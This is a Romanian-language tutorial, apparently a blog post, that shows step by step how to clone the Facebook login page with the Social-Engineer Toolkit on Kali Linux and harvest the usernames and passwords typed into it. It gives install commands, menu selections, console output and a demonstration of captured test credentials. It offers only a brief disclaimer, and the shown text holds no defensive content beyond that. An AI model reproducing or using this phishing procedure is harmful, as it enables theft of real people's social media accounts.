Cum se poate sparge un cont de Facebook și cum ne putem apăra de un astfel de atac

Acesta este un tutorial de bază, ce are ca scop consolidarea abilităților tale pe internet, cât și înțelegerea despre cum sunt create paginile web false, dar și cum te poți proteja de astfel de atacuri. Nu folosi aceste informații să ataci contul cuiva, deoarece riști să ai probleme.

Social Engineering Toolkit

Social engineering toolkit, dacă nu ai auzit de el până acum, nu exploatează vulnerabilitățile în mecanismul vreunui serviciu, ci exploatează slăbiciunile umane, cu privire la elementul de securitate. Social-Engineer Toolkit (SET) a fost creat de către fondatorul TrustedSec. Este o unealtă scrisă în Python, ce are ca scop penetrarea și testarea sistemelor de securitate, cu ajutorul ingineriei sociale. SET a fost prezentat la unele dintre cele mai mari conferințe, printre care Blackhat, DerbyCon, Defcon, și ShmooCon. Cu peste două milioane de descărcări, SET este standardul testelor de penetrare cu ajutorul ingineriei sociale, ce are tot suportul unei mari comunități din securitatea IT.

Kali Linux

sudo yum install git
sudo -sH
cd /opt
git clone https://github.com/trustedsec/social-engineer-toolkit/ set/
cd /opt/set
python setup.py install
sudo setoolkit

• Tasta 1 selectează atacuri ale ingineriei sociale. Lucrul acesta este evident, dacă citim opțiunile de la 1 la 9 (99 pentru a parăsi meniul)
• Tasta 2 selectează vectorii de atac ai unui website. Nu mai este chiar atât de evident. Modulul acesta reprezintă o metodă unică de atacuri web, ce au ca scop compromiterea victimei.
• Tasta 3 selectează Credential Harvester (Recoltatorul de date). Metoda Credential Harvester va utiliza clonarea web a unui site ce conține câmpurile cu username și parolă, apoi va ,,recolta” toate informațiile postate pe site.

Acum se va cere pagina pe care dorești să o clonezi. Scrie https://www.facebook.com/.

set:webattack>2
 [-] Credential harvester will allow you to utilize the clone capabilities within SET
 [-] to harvest credentials or parameters from a website as well as place them into a report
 [-] This option is used for what IP the server will POST to.
 set:webattack> IP address for the POST back in Harvester/Tabnabbing:192.168.154.133
 [-] SET supports both HTTP and HTTPS
 [-] Example: http://www.thisisafakesite.com
 set:webattack> Enter the url to clone:https://www.facebook.com/

 În browser scrii ip-ul tău. Va arăta pagina de login facebook. Introduci orice date dorești și apeși login.

Demonstrație live

Pentru a mă asigura că această demonstrație nu este o repetare la ceea ce știi deja, am decis să clonez pagina de autentificare a celor de la facebook, în locul la homepage. Mai jos se vede și un screenshot.

 

Adresa IP este adresa mea internă de la ifconfig. Pagina clonată este https://www.facebook.com/login.php. Acum încerc să văd dacă credential harvester funcționează.

 

Mașina virtuală pe care am instalat Kali Linux

Adăugând IP-ul în browser îmi arată pagina falsă de autentificare. De asemenea, se-toolkit înregistrează accesarea spunând că ip-ul 192.168.154.133  s-a logat pe data de 26 iulie 2017.
Acum o să introduc niște date în câmpurile de mai sus, date ce vor fi arătate de se-toolkit. Am introdus ca username ,,hackingwithkalilinux” și ca parolă ,,password”. Mai jos arată ce a înregistrat se-toolkit.